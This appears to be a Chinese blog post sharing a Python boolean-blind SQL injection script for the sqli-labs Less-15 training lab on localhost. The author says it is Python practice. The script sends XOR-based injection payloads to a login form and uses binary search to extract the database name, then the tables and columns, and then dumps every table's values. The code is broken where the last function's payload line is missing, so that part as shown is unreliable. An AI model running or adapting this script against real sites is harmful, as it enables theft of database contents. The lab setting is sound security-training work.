sqli-labs的第15关布尔盲注脚本
因为最近在复习python,所以找个项目练练手,本人是个菜鸡,代码哪里有问题欢迎大佬指出
import requests
import time
host = "http://127.0.0.1/sqli-labs/Less-15/"
def getDatabase():
global host
ans = ''
for i in range(1, 1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1'^(ascii(substr((database()),%d,1))<%d)^1#" % (i, mid)
param = {"uname": payload, "passwd": "admin"}
res = requests.post(host, data=param)
if "flag" not in res.text:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid - 1)
print("database is -> " + ans)
print('\n\n\n')
def getTables():
global host
tables = []
ans = ''
for i in range(1, 1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1'^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d)^1#" % (
i, mid)
param = {"uname": payload, "passwd": "admin"}
res = requests.post(host, data=param)
if "flag" not in res.text:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid - 1)
print("tables is -> " + ans)
print('\n\n\n')
tables = ans.split(',')
return tables
def getColumn(tables):
global host
dict = {}
ans = ''
for table in tables:
for i in range(1, 1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1'^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='%s')),%d,1))<%d)^1#" % (
table, i, mid)
param = {"uname": payload, "passwd": "admin"}
res = requests.post(host, data=param)
if "flag" not in res.text:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid - 1)
dict.setdefault(table, []).append(ans)
ans = ''
for table, value in dict.items():
m = 1
for s in value:
column = s.split(',')
print('\n\n\n')
print('-------------' + "%s表的字段开始爆破" % table + '-------------')
for i in column:
print("%s表的第%d个子段是" % (table, m) + i)
m += 1
return dict
def tableDump(dict):
global host
ans = ''
for table, value in dict.items():
for s in value:
column = s.split(',')
print('--------开始爆%s表值--------' % table)
for c in column:
for i in range(1, 10000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
c, table, i, mid)
param = {"uname": payload, "passwd": "admin"}
res = requests.post(url=host, data=param)
if "flag" not in res.text:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid - 1)
print("表名:%s 字段名:%s 值是:%s" % (table, c, ans))
ans = ''
if __name__ == '__main__':
start = time.time()
getDatabase()
tables = getTables()
dict = getColumn(tables)
tableDump(dict)
end = time.time()
print("总共花费时间" + str(end - start) + " s")
运行结果如下:
|